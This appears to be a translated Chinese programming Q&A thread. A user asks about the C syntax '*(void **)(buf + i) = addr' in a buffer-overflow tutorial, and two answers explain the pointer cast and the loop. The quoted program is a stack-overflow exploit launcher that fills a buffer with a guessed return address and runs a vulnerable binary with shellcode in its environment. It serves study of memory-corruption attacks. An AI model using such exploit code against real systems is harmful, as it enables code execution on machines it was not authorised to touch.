令人困惑的C语法

时间:2014-03-11 21:58:57

标签: c syntax memory-address

我在关于缓冲区溢出的教程中遇到了一些代码。 它是一个利用易受缓冲区溢出影响的简单程序的程序(如果某些堆栈保护机制被关闭)。

我的问题是:for循环在做什么?我的意思是for循环中的行:

*(void **)(buf + i) = addr;

它有点奇怪的语法,我以前没见过,或者我看过它,但它只是让我感到困惑。

该程序的想法是将buf作为参数传递给易受攻击的程序,并通过strcpy覆盖堆栈上的返回地址,使其运行在环境参数中传递的shellcode。

谢谢!

完整代码:

int main(int argc, char **argv) {
    void *addr = (char *) 0xc0000000 - 4 - (strlen(VULN) + 1) - (strlen(&shellcode) + 1);
    char buf[768];
    size_t i;

    for (i = 0; i < sizeof(buf); i += sizeof(void *)) {
        *(void **)(buf + i) = addr;
    }

    char *params[] = { VULN, buf, NULL };
    char *env[] = { &shellcode, NULL };
    execve(VULN, params, env);
    perror("execve");

    return -1;
}

2 个答案:

答案 0 :(得分:2)

C有一种 Treehorn类型系统。对于x类型的任何对象T,您可以假装它是不同类型的对象。为此,您可以转换对象的地址。所以,分步骤:

  1. T x;T类型的对象。

  2. &x是对象的地址,类型为T * - “指向T的指针”。

  3. 现在假装这是指向其他内容的指针:(U *)(&x) - “指向U的指针”,但它的值相同。

  4. 如果我们取消引用该对象,我们会将对象x视为U*(U *)(&x)

  5. 现在将所有这些应用到代码中的T = charx = buf[i]U = void *。请注意,&buf[i]buf + i相同。另请注意,isizeof(void *)的步幅递增,以便循环的每一轮都不会踩到前几轮触及的内存。

    警告:通常不允许将一个对象视为不同类型的对象;这是未定义的行为。只有一些例外;例如您可以将int视为unsigned int,并且可以将任何对象x视为char[sizeof x]。 (在您的代码中,这些都不是格式良好的。)

答案 1 :(得分:1)

首先,它计算一个在for循环执行过程中保持不变的值:

0xc0000000 - 4 - (strlen(VULN) + 1) - (strlen(&shellcode) + 1)

然后,在for循环内,它将这个常量值写入每个&#34; 4字节的条目&#34;在buf数组中:

buf[0...3] = the constant value
buf[4...7] = the constant value
buf[8...11] = the constant value
...
buf[764...767] = the constant value